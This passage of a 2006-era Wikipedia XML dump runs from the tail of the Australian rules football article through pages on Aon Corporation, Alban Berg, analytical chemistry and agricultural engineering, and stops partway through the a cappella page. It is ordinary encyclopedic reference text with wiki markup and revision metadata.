The record attendance for a single game was 121,696 at the 1970  VFL Grand Final, between Carlton and Collingwood, at the [[Melbourne Cricket Ground|MCG]]. The record for a game outside Victoria was the 72,393 who attended a game between Sydney and Collingwood at [[Telstra Stadium]], [[Sydney]] in 2003. The record attendance for a non AFL/VFL match is 66,897 at the 1976 [[SANFL]] Grand Final, played between Sturt and Port Adelaide at [[Football Park]], [[Adelaide]]. The record for [[State of Origin]] representative games was 91,960 for [[Victoria, Australia | Victoria]] v. [[South Australia]] at the [[Melbourne Cricket Ground | MCG]] in 1989. The record for a game outside Australia was 32,789 at an [[Australian Football Exhibition Match|exhibition match]] between Melbourne and Sydney at [[B.C. Place]], [[Vancouver]], [[Canada]] in 1987.

====Television====
The 2005 [[AFL Grand Final]] was watched by a television audience of more than 3.3 million people across five of Australia's most highly populated cities, including 1.2 million in Melbourne and 991,000 in [[Sydney]].[http://www.oztam.com.au/documents/2005/E_20050918.pdf]

Since Australian national television ratings were compiled in 2002, the AFL Grand Final has reached the top 5 of Australian programmes in  [[List of Australian television ratings for 2002|2002]], [[List of Australian television ratings for 2003|2003]], [[List of Australian television ratings for 2004|2004]] and [[List of Australian television ratings for 2005|2005]].  Australian rules football has achieved a #1 rating in the sports category in both [[List of Australian television ratings for 2004|2004]] and [[List of Australian television ratings for 2005|2005]].

===Participation===
With more than 400,000 participants, Australian football is also one of the most-played team sports in Australia. [http://www.ausport.gov.au/scorsresearch/table8ERASS2003.pdf] South Australia is said to be the state with the highest participation rate for people taking part in Australian football, with over 2.2% of the population aged 18 years and over participating in the sport [http://www.ausport.gov.au/fulltext/2000/ascpub/pdf/australian%20rules%20football%202.pdf], while the [[Tiwi Islands]] is said to have the highest participation rate in Australia (35%) [http://www.theage.com.au/news/northern-territory/even-a-cyclone-cant-stop-the-footy/2005/03/19/1111086063413.html].  

Australian football is also now played as an amateur sport in more than 20 countries around the world. (See [[Australian football around the world]]).

Many related games have emerged from Aussie Rules, mainly with variations of contact, including [[Auskick]], [[Rec Footy]], [[Women's Footy]], [[9-a-side Footy]] and [[Masters Australian Football]].  Players outside of Australia also engage in related games such as [[Metro Footy]] and [[Samoa Rules]] based on available fields.

===Australian football internationally===
{{main|Australian football around the world}}

Australian football is a major spectator sport only in [[Australia]] and [[Nauru]], although occasional [[Australian Football Exhibition Match |exhibition games]] are staged in other countries. However, amateur competition has grown in countries such as [[New Zealand]], [[Ireland]], [[United Kingdom]], [[Denmark]], [[Sweden]] the [[United States|USA]], [[Canada]], [[Germany]], [[France]], [[Japan]], [[Samoa]], [[China]], [[South Africa]], [[Tonga]] and [[Indonesia]], since the late [[1980s]]. Many of these were initially established by Australian expatriates but collecting growing numbers of native players. The largest such competition is the [[Ontario Australian Football League]], in Canada, with 12 teams scheduled to compete in 2006. There are now youth development programs in several of these countries; since 1998, the [[Barassi International Australian Football Youth Tournament]], endorsed by the AFL as part of its International Policy, has hosted several of junior teams from other countries.

Australian football is not yet large enough internationally for a [[FIFA]]-style governing body, so the AFL is primarily responsible for funding and governance and provides around [[Australian dollar|A$]]500,000 annually for international development, especially junior programs.

The [[Arafura Games]], held in [[Darwin, Northern Territory|Darwin]], [[Northern Territory]], [[Australia]] is a [[Multi-sport event]] for [[South East Asia]] and [[East Asia]]n island nations, northern Australia and the [[Pacific Islands]] which has Australian football as a permanent competition sport, rather than a [[demonstration sport]]. Papua New Guinea won the [[gold medal]] and retained it in subsequent games. Other teams that have competed at Australian Rules in the games include Japan, Nauru and a Northern Territory [[indigenous]] team.

The [[International Australian Football Council]] (IAFC) was formed after the 1995 Arafura Games. Following internal divisions in the IAFC, another organisation, [[Aussie Rules International]] was set up in [[London]].

Inspired by successful Arafura Games competitions, the inaugural [[Australian Football International Cup]] was held in Melbourne in 2002, an initiative of the newly formed IAFC. The 2002 cup was contested by 11 teams from around the world made up exclusively of non-Australians. [[Ireland]] won the 2002 cup, defeating [[Papua New Guinea]] in the final.
:''See also:'' [[List of Australian rules football leagues outside Australia | List of Australian Football Leagues outside Australia]]

==Australian Football Hall of Fame==

:''Main article: [[Australian Football Hall of Fame]].''

For the centenary of the VFL/AFL in 1996, an [[Australian Football Hall of Fame]] was established. That year 136 identities were inducted, including 100 players, 10 coaches, 10 umpires, 10 administrators and 6 media representatives.

The selections have caused some controversy, partly because of the predominance of VFL players at the expense of those who played in other leagues, in the years before there was a national competition. [[Gary Ablett]]'s induction was deferred for several years until 2005 due to a controversy associated with the death of a young woman acquaintance shortly after his retirement, which was felt to be likely to bring the Hall into disrepute.

The elite ''Legend'' status was bestowed on 12 members of the Hall of Fame in 1996; seven other football identities have subsequently received this honour.

{| style=&quot;width: 100%;&quot;
|- style=&quot;vertical-align: top;&quot;
| The original legends (in alphabetical order) are:
*[[Ron Barassi]] Junior
*[[Haydn Bunton Senior]]
*[[Roy Cazaly]]
*[[John Coleman]]
*[[Jack Dyer]]
*[[Graham Farmer|Graham &quot;Polly&quot; Farmer]]
*[[Leigh Matthews]]
*[[John Nicholls]]
*[[Bob Pratt]]
*[[Dick Reynolds]]
*[[Bob Skilton]]
*[[Ted Whitten]] Senior
|Later additions:
*[[Ian Stewart (Australian footballer)|Ian Stewart]] (later in 1997)
*[[Gordon Coventry]] (1998)
*[[Peter Hudson]] (1999)
*[[Kevin Bartlett]] (2000)
*[[Barrie Robran]] (2001)
*[[Bill Hutchison]] (2003)
*[[Jock McHale]] (2005)
|}

==See also==
&lt;p&gt;&lt;/p&gt;
{| style=&quot;background-color: transparent; width: {{{width|100%}}}&quot;
&lt;p&gt;&lt;/p&gt;
| width=&quot;{{{width|}}}&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; |
*[[:Category:Australian Rules footballers|Wikipedia listing of Australian Rules footballers]]
*[[:Category:Australian Rules coaches|Wikipedia listing of Australian Rules coaches]]
*[[Football (Australian rules) positions|Australian Rules on-field positions]]
*[[List of Australian rules football leagues in Australia | List of Australian Football Leagues in Australia]]
*[[List of Australian rules football leagues outside Australia | List of Australian Football Leagues outside Australia]]
*[[List of Australian rules football junior leagues]]
*[[List of Australian rules football grounds]]
*[[List of Umpire Associations in Australia]]
*[[AFL Draft]]
*[[List of VFL/AFL players by ethnicity]]

&lt;p&gt;&lt;/p&gt;
| width=&quot;{{{width|}}}&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; |
*[[Australian Football International Cup]]
*[[Aussie Rules International]] (ARI)
*[[Best and Fairest|Best and Fairest Awards]]
*[[List of overseas-born AFL players]]
*[[List of Australian rules football computer games]]
*[[Women's Footy]]
*[[Rec Footy]]
*[[Metro Footy]]
*[[Masters Australian Football]]
*[[List of Australian Rules Football Clubs]]
&lt;p&gt;&lt;/p&gt;
|}

==External links==
&lt;p&gt;&lt;/p&gt;
{| style=&quot;background-color: transparent; width: {{{width|100%}}}&quot;
&lt;p&gt;&lt;/p&gt;
| width=&quot;{{{width|}}}&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; |
Official sites:
* [http://www.afl.com.au/ Official AFL site]
* [http://www.iafc.com.au/ Official International Australian Football Council site]
* [http://afl.com.au/?pg=halloffame AFL Hall of Fame]
* [http://www.worldfooty.com Barassi International Australian Football Youth Tournament]
* [http://www.aussierulesinternational.com/ Aussie Rules International]

History-related sites:
* [http://www.footypedia.com/ Footypedia] - Covers local footy history
* [http://www.robertpascoe.net Robert Pascoe] - Author of ''The Winter Game''
* [http://www.footyjumpers.com Footyjumpers.com - Every Football Jumper in VFL/AFL History]
* [http://www.convictcreations.com/football/index.htm Convict Creations] - information on the sport's role in shaping Australian culture
* [http://www.libcom.org/history/articles/radical-history-aussie-rules/index.php The Radical History of Aussie Rules Football]
* [http://www.fullpointsfooty.net/ Full Points Footy] - unofficial history site
* [http://www.allthestats.com/ AllTheStats - Australian Football League Statistics and Records]
&lt;p&gt;&lt;/p&gt;
| width=&quot;{{{width|}}}&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; |
Fan &amp; News sites:
* [http://www.FootySA.com/ FootySA.com - The Best Unofficial SANFL site]
* [http://www.cokemakeyourmark.com/ Coke Make Your Mark] - AFL affiliated fan forums
* [http://www.myafl.com/forum/ myAFL.com] - unofficial AFL fan site
* [http://www.bigfooty.com/ BigFooty.com] - unofficial AFL fan site
* [http://footystats.freeservers.com/Daily/Diary.html/ FootyStats Diary] - Australian Football News
* [http://www.footynews.net/ Footynews] - unofficial news site
* [http://eteamz.active.com/sites/australianfootball/ The Best Game] Why Australian rules is the world's best game.
* [http://www.worldfootynews.com/ World Footy News] All the news and views from Australian football's global frontier
* [http://www.aflnews.4t.com/ LIVE AFL News]- Keeping you up to date with the latest footy news
* [http://aussierules.co.nr/ Daniel's Aussie Rules]- Footy scores, ladders, news and archives
* [http://www.realfooty.theage.com.au/ Real Footy (from The Age)]
* [http://www.countryfootyscores.com/ Country Footy Scores]
* [http://www.maf.asn.au/ Masters - Australian Football for the over 30s]
* [http://www.afl-online.net/ AFL Online Forums]
&lt;p&gt;&lt;/p&gt;
|}

[[Category:Australian culture]]
[[Category:Australian rules football| ]]
[[Category:Ball games]]
[[Category:Team sports]]

[[cs:Australský fotbal]]
[[da:Australsk fodbold]]
[[de:Australian Football]]
[[es:Fútbol australiano]]
[[eo:Aŭstralia piedpilkado]]
[[fr:Football australien]]
[[it:Football australiano]]
[[nl:Australian Football]]
[[ja:オージーフットボール]]
[[no:Australsk fotball]]
[[pl:Futbol australijski]]
[[scn:Football australianu]]
[[sv:Australisk fotboll]]</text>
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  </page>
  <page>
    <title>Aon Insurance</title>
    <id>2404</id>
    <revision>
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      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Aon Corporation]]
</text>
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  </page>
  <page>
    <title>Aon Corporation</title>
    <id>2405</id>
    <revision>
      <id>41037267</id>
      <timestamp>2006-02-24T17:24:10Z</timestamp>
      <contributor>
        <username>Catapult</username>
        <id>792235</id>
      </contributor>
      <minor />
      <comment>[[Wikipedia:Categories for deletion/Log/2006 February 18|CFD]]: renaming category[[user:freakofnurture|...]]</comment>
      <text xml:space="preserve">{{cleanup-date|October 2005}}
'''Aon Corporation''' {{nyse|AOC}}, founded by [[W. Clement Stone]] in the late [[1920s]], is a global [[risk management|risk-management]] consulting and [[insurance]] underwriting firm. Also known as Aon Innovative Solutions or AIS. Aon is the [[Gaelic]] term for &quot;oneness&quot;.

Aon Corporation is a [[NYSE]]-listed and leading provider of risk management services, [[insurance]] and [[reinsurance]] [[brokerage]], human capital and management consulting, and specialty insurance underwriting. The company employs approximately 47,000 professionals in its 500 offices in more than 120 countries.  Backed by broad resources, industry knowledge and technical expertise, Aon professionals help a wide range of clients develop effective risk management and workforce productivity solutions.

Its New York offices were in the 99th and 100th floors of the [[Two World Trade Center tenants|south tower]] of the [[World Trade Center]] at the time of the [[September 11, 2001 attacks|September 11, 2001 terrorist attack]]. As a result, Aon lost more than 170 employees.  See the [[sep11:Aon Corporation|Memorial wiki tribute to Aon]] for a complete list of people.

The company logo is featured for a brief moment in the motion picture &quot;[[The Matrix]]&quot;.

== External links ==
* [http://www.aon.com Aon Corporation website]
* [http://www.legacy.com/aon/Tribute.asp Aon Remembers at Legacy.com]
* [http://www.emporis.com/en/wm/bu/?id=116756 Emporis - Aon Center, Chicago]

[[Category:Insurance companies of the United States]]
[[Category:Companies based in Illinois]]
[[Category:Companies listed on the New York Stock Exchange]]
[[Category:Management consulting firms]]</text>
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  </page>
  <page>
    <title>Alban Berg</title>
    <id>2406</id>
    <revision>
      <id>41699594</id>
      <timestamp>2006-03-01T03:33:20Z</timestamp>
      <contributor>
        <username>RodC</username>
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      <minor />
      <comment>/* Life and work */</comment>
      <text xml:space="preserve">'''Alban Maria Johannes Berg''' ([[February 9]], [[1885]] &amp;ndash; [[December 24]], [[1935]]) was an [[Austria]]n [[composer]]. He was a member of the [[Second Viennese School]] along with [[Arnold Schoenberg]] and [[Anton Webern]], producing works that combined [[Gustav Mahler|Mahler]]ian [[romantic music|romanticism]] with a highly personal adaptation of Schoenberg's [[twelve-tone technique]].

&lt;!-- Unsourced image removed: [[image:alban_berg.jpg|framed|right|Inset of portrait of Berg by [[Arnold Schoenberg]].]] --&gt;

==Life and work==
Berg was born in [[Vienna]], the third of four children of Johanna and Conrad Berg. His family lived quite comfortably until the death of his father in [[1900]]. 

He was more interested in [[literature]] than [[music]] as a child, and did not begin to compose until he was fifteen, when he started to teach himself music. He had very little formal music eduction until he began a six-year period of study with Arnold Schoenberg in October [[1904]] to [[1911]], studying [[counterpoint]], [[music theory]], and [[harmony]]; by [[1906]] he concentrated on his music studies full-time, and by [[1907]] he began [[musical composition|composition]] lessons. Among his compositions under Schoenberg were five [[piano sonata]] drafts and various songs, including his ''[[Seven Early Songs (Berg)|Seven Early Songs]]'' (''Sieben frühe Lieder''), three of which were Berg's first publicly performed work in a concert featuring the music of Schoenberg's pupils in Vienna that same year.

These early compositions would reveal Berg's progress as a composer under Schoenberg's tutelage. The early sonata sketches eventually culminated in Berg's [[Piano Sonata (Berg)|Piano Sonata]] (Op.1) (1907&amp;ndash;[[1908|8]]); while considered to be his &quot;graduating composition&quot;, is one of the most formidable initial works ever written by any composer (Lauder, 1986). Schoenberg was a major influence on him throughout his lifetime; Berg not only greatly admired him as a composer and mentor, but they remained close friends for the remainder of his life. Many people believe that Berg also saw him as a surrogate father, considering Berg's young age during his father's death.

An important idea of Schoenberg is his teaching was what would later be known as ''developing variation'', which stated that the unity of a piece is dependent on all aspects of the composition being derived from a single basic idea. Berg would then pass this idea down to one of his students, [[Theodor Adorno]], who stated: &quot;The main principle he conveyed was that of variation: everything was supposed to develop out of something else and yet be intrinsically different.&quot; The Sonata is a striking example of the execution of this idea &amp;mdash; the whole composition can be derived from the opening [[quartal and quintal harmony|quartal]] gesture and from the opening phrase.

Berg was a part of Vienna's cultural elite during the heady period of ''[[fin de siècle]]''. Among his circle included the musicians [[Alexander von Zemlinsky]] and [[Franz Schreker]], painter [[Gustav Klimt]], writer and satirist [[Karl Kraus]], architect [[Adolf Loos]], and poet [[Peter Altenberg]]. In 1906, Berg met [[Helene Nahowski]], singer and daughter of a wealthy family, and despite the outward hostility of her family, married on May 3, 1911.

In [[1913]], two of Berg's ''Five Songs on Picture Postcard Texts by [[Peter Altenberg]]'' (1912) were premiered in Vienna under Schoenberg's baton. The pieces - settings of unpoetic, aphoristic utterances accompanied by a very large orchestra - caused a riot, and the performance had to be halted; the work was not performed in full until [[1952]] (and its full score remained unpublished until 1966). 

From [[1915]] to [[1918]], he served in the [[Austria-Hungary|Austrian Army]] and it was during a period of leave in [[1917]] that he began work on his first [[opera]], ''[[Wozzeck]]''. Following [[World War I]], he settled again in Vienna where he taught private pupils. He also helped Schoenberg run the [[Society for Private Musical Performances]], which sought to create an ideal environment for the exploration of unappreciated and unfamiliar new music by means of open rehearsals, repeated performances, and the exclusion of all newspaper critics.

The performance in [[1924]] of three excerpts from ''Wozzeck'' brought Berg his first public success.  The opera, which Berg completed in [[1922]], was not performed in its entireity until [[December 14]], [[1925]], when [[Erich Kleiber]] directed a performance in [[Berlin]]. The opera is today seen as one of his most important works; a later opera, the critically acclaimed ''[[Lulu (opera)|Lulu]]'', was left with its third act incomplete at his death.

Berg's best-known piece is probably his elegiac [[Violin Concerto (Berg)|Violin Concerto]]. Like so much of his mature work, it employs a highly personal adaptation of Schoenberg's [[twelve tone technique]] that enables it to combine frank [[atonality]] with more traditionally tonal passages and harmonies; additionally, it uses actual quotations of pre-existing tonal music, including a [[Johann Sebastian Bach|Bach]] chorale and a [[Carinthia (state)|Carinthian]] folk song. The Violin Concerto was dedicated to Manon, the deceased daughter of architect [[Walter Gropius]] and [[Alma Schindler]].

Other well known Berg compositions include the ''[[Lyric Suite]]'' (seemingly a big influence on the String Quartet No. 3 of [[Béla Bartók]]), ''Three Pieces for Orchestra'', and the [[Chamber music|Chamber]] [[Concerto]] for [[violin]], [[piano]] and 13 [[Woodwind instrument|wind]] instruments.

Berg died on Christmas Eve, 1935, in Vienna, apparently from [[blood poisoning]] caused by an insect bite. He was 50 years old.

==Compositions==
*[[List of compositions by Alban Berg]]
*[[Wozzeck]]
*[[Lulu (opera)|Lulu]]
*[[Lyric Suite]]
*[[Seven Early Songs (Berg)|Seven Early Songs]]
*[[Violin Concerto (Berg)|Violin Concerto]]

==Bibliography==
===Analytical writings===
*Adorno, Theodor W. ''Alban Berg: Master of the Smallest Link''. Trans. Juliane Brand and Christopher Hailey. New York: Cambridge University Press, 1991.
*Schmalfeldt, Janet. “Berg’s Path to Atonality: The Piano Sonata, Op. 1.” ''Alban Berg: Historical and Analytical Perspectives''. Eds. David Gable and Robert P. Morgan, pgg. 79-110. New York: Oxford University Press, 1991.
*Lauder, Robert Neil. ''Two Early Piano Works of Alban Berg: A Stylistic and Structural Analysis''. Thesis. Chapel Hill: University of North Carolina, 1986.
*Bruhn, Siglind, ed. ''Encrypted Messages in Alban Berg’s Music''. New York: Garland Publishing, 1998.
*Schweizer, Klaus. ''Die Sonatensatzform im Schaffen Alban Bergs''. Stuttgart: Satz und Druck, 1970.
*Wilkey, Jay Weldon. ''Certain Aspects of Form in the Vocal Music of Alban Berg''. Ph.D. thesis. Ann Arbor: Indiana University, 1965.
*Perle, George. ''The operas of Alban Berg''. Berkeley: University of California Press, 1980.
*Jarman, Douglas. ''Dr. Schon's Five-Strophe Aria: Some Notes on Tonality and Pitch Association in Berg's Lulu''. Perspectives of New Music 8/2 (Spring/Summer 1970).
*Jarman, Douglas. ''Some Rhythmic and Metric Techniques in Alban Berg's Lulu''. Musical Quarterly 56/3 (July 1970).
*Jarman, Douglas. ''Lulu: The Sketches''. International Alban Berg Society Newsletter, 6 (June 1978).
*Jarman, Dougas. ''The Music of Alban Berg''. Berkeley: University of California Press, 1979.
*Jarman, Douglas. ''Countess Geschwitz's Series: A Controversy Resolved?''. Proceedings of the Royal Musical Association 107 (1980/81).
*Jarman, Douglas. ''Some Observations on Rhythm, Meter and Tempo in Lulu''. In Alban Berg Studien. Ed. Rudolf Klein. Vienna: Universal Edition, 1981.
*Jarman, Douglas. ''Lulu: The Musical and Dramatic Structure''. Royal Opera House Covent Garden program notes, 1981.
*Jarman, Douglas. ''The 'Lost' Score of the 'Symphonic Pieces from Lulu'''. International Alban Berg Society Newsletter 12 (Fall/Winter 1982).

===Biographical writings===
*Brand, Juliane, Christopher Hailey and Donald Harris, eds. ''The Berg-Schoenberg Correspondence: Selected Letters''. New York: Norton, 1987.
*Grun, Bernard, ed. ''Alban Berg: Letters to his Wife''. London: Faber and Faber, 1971.
*Redlich, H.F. ''Alban Berg, the Man and His Music''. London: John Calder, 1957.
*Reich, Willi. ''The life and work of Alban Berg''. Trans. Cornelius Cardew. New York : Da Capo Press, 1982.
*Monson, Karen. ''Alban Berg: a biography''. London: Macdonald and Jane's, 1979.
*Carner, Mosco. ''Alban Berg: the man and the work''. London: Duckworth, 1975.
*Redlich, Hans Ferdinand. ''Alban Berg, the man and his music''. London: J. Calder, 1957.
*Leibowitz, René. ''Schoenberg and his school; the contemporary stage of the language of music''. Trans. Dika Newlin. New York: Philosophical Library, 1949.

==See also==
{{wikiquote}}
*[[List of Austrians in music]]
*[[List of Austrians]]

[[Category:1885 births|Berg, Alban]]
[[Category:1935 deaths|Berg, Alban]]
[[Category:20th century classical composers|Berg, Alban]]
[[Category:Austrian composers|Berg, Alban]]
[[Category:Expressionism|Berg, Alban]]
[[Category:Opera composers|Berg, Alban]]

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[[zh:阿尔班·贝尔格]]</text>
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  </page>
  <page>
    <title>Analytical chemistry</title>
    <id>2408</id>
    <revision>
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      <contributor>
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      <comment>/* Types */</comment>
      <text xml:space="preserve">'''Analytical chemistry''' is the [[:wikt:analysis|analysis]] of material samples to gain an understanding of their [[chemical composition]] and [[structure]].

==Types==
Analytical chemistry can be split into two main types, qualitative and quantitative:
#[[Qualitative inorganic analysis]] seeks to establish the presence of a given [[chemical element|element]] or [[inorganic compound]] in a sample.
#Qualitative organic analysis seeks to establish the presence of a given [[functional group]] or [[organic compound]] in a sample.
#[[Quantitative analysis]] seeks to establish the amount of a given element or compound in a sample.

Most modern analytical chemistry is quantitative. Quantitative analysis can be further split into different areas of study. The material can be analyzed for the amount of an element or for the amount of an element in a specific chemical species. The latter is of particular interest in biological systems; the molecules of life contain carbon, hydrogen, oxygen, nitrogen, and others, in many complex

==Techniques==

There are a bewildering array of techniques available to separate, detect and measure chemical compounds. 

*[[Separation of chemicals]] in order to measure the weight or volume of a final product. This is an older process and can be quite painstaking, but is an essential first step when dealing with certain mixtures of substances, like extracts from organisms. Modern separation techniques such as [[HPLC]] often seek to separate and determine amount or identity in a single automated analysis by integrating a detector.

*[[Titration]] is a technique used to determine amounts present in solution or a physical characteristic of a molecule such as an [[equilibrium]] constant. 

*Analysis of substances with devices using [[spectroscopy]]. By measuring the absorption or emission of light, or other types of [[electromagnetic_spectrum|radiation]], by a substance we can calculate the amounts of species or characterize the chemical species, often without separation. Methods include [[atomic absorption spectroscopy]] (AAS), [[nuclear magnetic resonance]] (NMR) and [[neutron activation analysis]] (NAA).

*[[Mass spectrometry]] is used to determine the [[molecular mass]], the elemental composition, structure and sometimes amount of chemical species in a sample by [[ionize|ionizing]] the analyte molecules and observing their behavior in electric and magnetic fields.

*Many techniques combine two or more analytical methods (sometimes called &quot;hyphenated&quot; or &quot;hybrid&quot; methods). Examples of this include [[ICP-MS]](Inductively-Coupled Plasma - Mass Spectrometry), where [[volatilisation]] of a sample occurs in the first step, and measuring of the concentration occurs in the second. The first step may also involve a separation technique, such as [[chromatography]], and the second a detection / measuring device.

*Techniques that involve volatilisation aim to produce free atoms of the elements making up the sample, which can then be measured in concentration by the degree to which they absorb or emit at a characteristic spectral frequency. These methods have the disadvantage of completely destroying the sample, and any species contained within it. These techniques include [[atomic absorption spectroscopy]] and [[ICP-MS]] / [[ICP-AES]]. These techniques can still be used to study speciation, however by the incorporation of a separation stage before volatilisation.

*Another example of a hybrid technique is Gas Chromatography-Mass Spectrometry [GC/MS], which is primarily used for non-ionic, volatilizable organic compounds. The compounds are separated on a chromatographic column, and introduced directly, or via a specialized interface, to an ionization chamber in a mass spectrometer. The compounds are then ionized (typically by electron impact, or chemical ionization) and accelerated through a carefully controlled electromagnetic field. The time of flight, or the voltage applied at the exact moment of impact is unique for compounds of the same mass. In this manner, the retention time and mass are measured for each compound.

== Methods ==

Analytical methods rely on scrupulous attention to cleanliness, sample preparation, [[accuracy and precision]]. 

Many practitioners will keep all their glassware in acid to prevent contamination, samples will be re-run many times over, and equipment will be washed in specially pure solvents.

A standard method for analysis of concentration involves the creation of a [[calibration curve]]. 

If the concentration of element or compound in a sample is too high for the detection range of the technique, it can simply be diluted in a pure solvent. If the amount in the sample is below an instrument's range of measurement, the method of addition can be used. In this method a known quantity of the element or compound under study is added, and the difference between the concentration added, and the concentration observed is the amount actually in the sample.

== Trends==
Analytical chemistry research is largely driven by performance (sensitivity, selectivity, robustness, linear range, accuracy, precision, and speed), and cost (purchase, operation, training, time, and space).  

A lot of effort is put in shrinking the analysis techniques to [[chip]] size.  Although there are few examples of such systems competitive with traditional analysis techniques, potential advantages include size/portability, speed, and cost. ([[Total Analysis System]] or lab on a chip)

Much effort is also put into analyzing biological systems.  Examples of rapidly expanding fields in this area are:
*Proteomics - the analysis of protein concentrations and modifications, especially in response to various stresssors, at various developmental stages, or in various parts of the body.
*Metabolomics - similar to proteomics, but dealing with metabolites.
*Metalomics - similar to proteomics and metabolomics, but dealing with metal concentrations and especially with their binding to proteins and other molecules.

== See also ==

* [[List_of_publications_in_chemistry#Analytical chemistry| Important publications in analytical chemistry]]
* [[High performance liquid chromatography]] (HPLC)
* [[Gas-liquid chromatography]] (GC)
* [[Nuclear magnetic resonance]] (NMR)
* [[Mass spectrometry]] (MS)

{{BranchesofChemistry}}

[[Category:Analytical chemistry|*]]

[[af:Analitiese chemie]]
[[bg:Аналитична химия]]
[[ca:Química analítica]]
[[cs:Analytická chemie]]
[[da:Analytisk kemi]]
[[de:Analytische Chemie]]
[[el:Αναλυτική χημεία]]
[[es:Química analítica]]
[[eo:Kemia analizo]]
[[fo:Analytisk evnafrøði]]
[[fr:Chimie analytique]]
[[ko:분석화학]]
[[is:Efnagreining]]
[[he:כימיה אנליטית]]
[[lv:Analītiskā ķīmija]]
[[mk:Аналитичка хемија]]
[[nl:Analytische scheikunde]]
[[ja:分析化学]]
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[[pt:Química analítica]]
[[ru:Аналитическая химия]]
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[[su:Kimia analitik]]
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[[uk:Аналітична хімія]]
[[zh:分析化学]]</text>
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    <title>Agricultural engineering</title>
    <id>2409</id>
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        <username>H2O</username>
        <id>47464</id>
      </contributor>
      <comment>/* Areas of interest */ wiki erosion control</comment>
      <text xml:space="preserve">'''Agricultural engineering''' is the discipline of [[engineering]] in [[Agriculture|agricultural]], [[food]], and [[Biology|biological]] systems.  Agricultural engineers [[design]] agricultural [[machinery]] and [[equipment]] and agricultural [[structures]]. Some specialties include [[power systems|power system]] and machinery [[design]]; structures and [[environment]]; and food and [[bioprocess]] engineering. They develop ways to conserve [[soil]] and [[water]] and to improve the [[processing]] of [[agricultural products]]. A large percentage of agricultural engineers work in academia or for government agencies such as the [[United States Department of Agriculture]] or state [[agricultural extension]] services.  Agricultural engineers work in production, sales, [[management]], [[research]] and development, or [[applied science]].

==Areas of interest==
*[[Biological engineering|Biosystems engineering]] 
*[[Ergonomics]], [[Safety]] and [[Health]] 
*Emerging Areas
*Information and Electrical Technologies which includes [[Remote sensing]]
*[[Food and Process Engineering]]
*[[Forest Engineering]]
*Power and Machinery, which includes [[Machine design]]
*Soil and water engineering, which includes [[Irrigation]], [[Drainage]], [[Storm water|stormwater]] management and [[erosion control]].
*Structures and environment, which includes designing [[livestock]] housing as well as structures such as [[grain elevator]]s and [[greenhouse]]s

==See also==
*[[American Society of Agricultural and Biological Engineers]]

==External links==
*[http://www.asabe.org American Society of Agricultural and Biological Engineers Official Site]
*[http://jobs.strategy-blogs.com/Agricultural-Engineers.html Agricultural Engineering Job Outlook and Salary Information]


{{agri-stub}}

[[Category:Agriculture]]
[[Category:Agronomy]]
[[Category:Engineering]]

{{Technology-footer}}

[[ja:&amp;#36786;&amp;#26989;&amp;#24037;&amp;#23398;]]
[[lt:Agrotechnika]]
[[th:&amp;#3623;&amp;#3636;&amp;#3624;&amp;#3623;&amp;#3585;&amp;#3619;&amp;#3619;&amp;#3617;&amp;#3648;&amp;#3585;&amp;#3625;&amp;#3605;&amp;#3619;]]</text>
    </revision>
  </page>
  <page>
    <title>A cappella</title>
    <id>2411</id>
    <revision>
      <id>41590626</id>
      <timestamp>2006-02-28T09:51:34Z</timestamp>
      <contributor>
        <username>Tlusťa</username>
        <id>649807</id>
      </contributor>
      <minor />
      <comment>+[[cs:A cappella]]</comment>
      <text xml:space="preserve">:''For the contemporary Christian singing group named Acappella, see [[Acappella (group)]].''
'''A cappella''' [[music]] is [[vocal music]] or [[singing]] without [[musical instrument|instrumental]] [[accompaniment]], or a piece intended to be performed in this way. ''A cappella'' is [[Italian language|Italian]] for ''like in the chapel (music)''; the term is due to restrictions on the use of instruments in medieval churches. It is often misspelled as ''a capella'', which is derived from the [[Latin]] spelling, or even ''acappella''.

== The roots of a cappella music ==

A cappella music was and is often used in [[church music]]. [[Gregorian chant]] is an example of a cappella singing, as is the majority of sacred vocal music from the [[Renaissance music|Renaissance]].  The [[madrigal (music)|Madrigal]], up until its development in the early [[Baroque music|Baroque]] into an instrumentally-accompanied form, is also usually an a cappella form.  The [[Amish]], [[Old Regular Baptist]]s, [[Primitive Baptist]]s, most congregations of the [[Church of Christ]], and the [[Old German Baptist Brethren]], as well as some [[Presbyterian]] churches devoted to exclusive [[Psalmody]], are religious bodies known for conducting their worship services without musical accompaniment. [[Eastern Orthodox]] Christians (especially Russian and other Slavic groups) insist on singing unaccompanied by instruments. Similarly, many [[Muslim]]s have adopted the idiom of a cappella music since mainstream traditional Islam prohibits the use of instruments except for some basic percussion.  Muslim a cappella songs are known as [[nasheed]]s. [[Sacred Harp]], a type of religious &quot;folk&quot; music, is an a cappella style of religious singing. It is more often sung at singing conventions than at church services.

== Modern a cappella ==

Many standard choral works are a cappella in that no accompaniment is written in except perhaps for rehearsal purposes. But in the modern parlance, it applies to vocal performers who disdain instrumental accompaniment in all cases.

A cappella music attained renewed prominence from the late [[1970s]] onward, spurred by the success of songs by popular recording artists such as [[The Manhattan Transfer]], [[The Bobs]], [[Bobby McFerrin]], [[The Nylons]], [[Flying Pickets]], [[Die Prinzen]], [[Rockapella]], [[Take Six]], [[Wise Guys]] and [[Boyz II Men]]. This prominence in turn led to a resurgence in [[collegiate a cappella]] -- some larger universities now have a dozen groups or more.

Some of the major movements within modern a cappella are [[Barbershop music|Barbershop]], [[doo wop]], and [[contemporary a cappella]]. Contemporary a cappella includes many '''vocal bands''' who add [[vocal percussion]] or [[beatboxing]] to create a pop/rock sound. 

Arrangements of popular music for small a cappella ensembles usually include one voice singing the lead melody, one singing a rhythmic bass line, and the remaining voices contributing chordal or [[Polyphony|polyphonic]] accompaniment . (In Japan, these parts are known as '''vocal''', '''bass''', and '''chorus''', respectively.) 

A cappella can also describe the practice of using just the vocal track(s) from a [[multitrack]] recording to either [[remix]] or put onto vinyl records for DJ's. Artists will sometimes release the vocal tracks of their popular songs so fans can remix them.

== See also ==

*[[Contemporary a cappella]]
*[[Collegiate a cappella]]
*[[List of professional a cappella groups]]
*[[List of collegiate a cappella groups]]

== External links ==
